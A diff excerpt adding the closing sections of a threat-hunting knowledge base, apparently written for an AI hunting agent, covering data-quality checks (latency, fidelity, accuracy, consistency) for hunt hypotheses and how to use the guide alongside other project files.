2221
+ **Example:**
2222
+
2223
+ - Hypothesis: "Detect active C2 beaconing"
2224
+ - Problem: Network logs delayed 30 minutes
2225
+ - Impact: By the time we see beaconing, adversary already took action
2226
+
2227
+ **ATHF Application:**
2228
+
2229
+ - Understand data latency when scoping hunt timeframes
2230
+ - Near real-time hunts require real-time data sources
2231
+ - Historical hunts less affected by latency
2232
+
2233
+ #### 3. Fidelity
2234
+
2235
+ **Definition:** Level of detail in data (granularity)
2236
+
2237
+ **Assessment Questions:**
2238
+
2239
+ - Is command-line logging enabled? (High fidelity)
2240
+ - Are only summary events logged? (Low fidelity)
2241
+ - Do we have packet captures? (Highest fidelity)
2242
+
2243
+ **Impact on Hunting:**
2244
+
2245
+ - High fidelity = can detect specific behaviors
2246
+ - Low fidelity = only coarse-grained detection
2247
+ - Fidelity determines what hypotheses are testable
2248
+
2249
+ **Example:**
2250
+
2251
+ - Hypothesis: "Hunt for encoded PowerShell commands"
2252
+ - High Fidelity: ScriptBlock logging (Event 4104) shows full command
2253
+ - Low Fidelity: Only Event 4103 (module logging), can't see command
2254
+ - Impact: Need high fidelity to test hypothesis
2255
+
2256
+ **ATHF Application:**
2257
+
2258
+ - Match hypothesis to available data fidelity
2259
+ - Don't build hypothesis requiring high fidelity if you have low fidelity data
2260
+ - Prioritize data source improvements for high-value hunts
2261
+
2262
+ #### 4. Accuracy
2263
+
2264
+ **Definition:** Is the data correct and reliable?
2265
+
2266
+ **Assessment Questions:**
2267
+
2268
+ - Are timestamps accurate? (NTP sync?)
2269
+ - Are field mappings correct? (source_ip actually source?)
2270
+ - Are there data collection errors? (truncated logs, parsing failures)
2271
+
2272
+ **Impact on Hunting:**
2273
+
2274
+ - Inaccurate data = false positives/negatives
2275
+ - Timestamp errors break timeline analysis
2276
+ - Field mapping errors cause missed detections
2277
+
2278
+ **Example:**
2279
+
2280
+ - Hypothesis: "Correlate network connection with process execution"
2281
+ - Problem: System clocks out of sync by 5 minutes
2282
+ - Impact: Can't accurately correlate, false negatives
2283
+
2284
+ **ATHF Application:**
2285
+
2286
+ - Validate data accuracy before trusting findings
2287
+ - If timeline doesn't make sense, check timestamps
2288
+ - Test queries on known-good data to verify accuracy
2289
+
2290
+ #### 5. Consistency
2291
+
2292
+ **Definition:** Is data format and collection uniform across environment?
2293
+
2294
+ **Assessment Questions:**
2295
+
2296
+ - Do all Windows systems log the same events?
2297
+ - Are Linux systems using same syslog format?
2298
+ - Are cloud environments logging consistently?
2299
+
2300
+ **Impact on Hunting:**
2301
+
2302
+ - Inconsistent data = hunt only works on subset of systems
2303
+ - Query works on some hosts, not others (frustrating)
2304
+ - Can't build universal detection rules
2305
+
2306
+ **Example:**
2307
+
2308
+ - Hypothesis: "Hunt for Sysmon Event ID 10 (ProcessAccess)"
2309
+ - Problem: Sysmon deployed on only 50% of Windows endpoints
2310
+ - Impact: Hunt only covers half the environment, inconsistent
2311
+
2312
+ **ATHF Application:**
2313
+
2314
+ - Document which systems have which data sources (environment.md)
2315
+ - Scope hunts to systems with consistent data
2316
+ - Standardize logging for future hunt coverage
2317
+
2318
+ **Data Quality Pre-Hunt Checklist:**
2319
+
2320
+ Before hunting, verify:
2321
+
2322
+ - [ ] **Completeness:** All required data sources present?
2323
+ - [ ] **Timeliness:** Data latency acceptable for hunt timeframe?
2324
+ - [ ] **Fidelity:** Data detail sufficient to test hypothesis?
2325
+ - [ ] **Accuracy:** Data reliable (timestamps, fields correct)?
2326
+ - [ ] **Consistency:** All target systems logging uniformly?
2327
+
2328
+ If data quality is insufficient:
2329
+
2330
+ - **Option 1:** Refine hypothesis to match available data quality
2331
+ - **Option 2:** Improve data quality first, then hunt
2332
+ - **Option 3:** Document gap, hunt partial environment
2333
+
2334
+ ---
2335
+
2336
+ ## Using This Knowledge Base
2337
+
2338
+ **How to Apply These Five Sections:**
2339
+
2340
+ **Before Generating Hypothesis:**
2341
+
2342
+ - Review Section 1 (Hypothesis Generation) for patterns and quality criteria
2343
+ - Review Section 2 (Behavioral Models) to map TTP → Observables
2344
+ - Review Section 5 (Frameworks) - Apply Pyramid of Pain (target TTPs not hashes)
2345
+
2346
+ **During Hunt Execution:**
2347
+
2348
+ - Review Section 3 (Pivot Logic) to follow evidence chains
2349
+ - Review Section 4 (Analytical Rigor) to assess confidence and avoid bias
2350
+
2351
+ **After Hunt Completion:**
2352
+
2353
+ - Review Section 4 (Analytical Rigor) to score confidence appropriately
2354
+ - Review Section 5 (Frameworks) - Assess maturity, data quality, kill chain stage
2355
+
2356
+ **When Stuck or Uncertain:**
2357
+
2358
+ - Re-read relevant section
2359
+ - Apply decision frameworks (pivot vs collapse, confidence scoring)
2360
+ - Check for cognitive biases
2361
+
2362
+ **Integration with ATHF Files:**
2363
+
2364
+ - This document = The "brain" (knowledge)
2365
+ - AGENTS.md = The "instructions" (how to use the brain)
2366
+ - templates/HUNT_LOCK.md = The "format" (how to document)
2367
+ - hunts/ = The "memory" (past experiences)
2368
+ - environment.md = The "context" (your specific environment)
2369
+
2370
+ **Final Principle:**
2371
+ Think like a threat hunter who has internalized these frameworks. Don't just mention "Pyramid of Pain" - apply it. Don't just say "high confidence" - show why using the rubric. This knowledge base should become second nature in your analytical reasoning.
2372
+
2373
+ ---
2374
+
2375
+ **End of Hunting Brain Knowledge Base**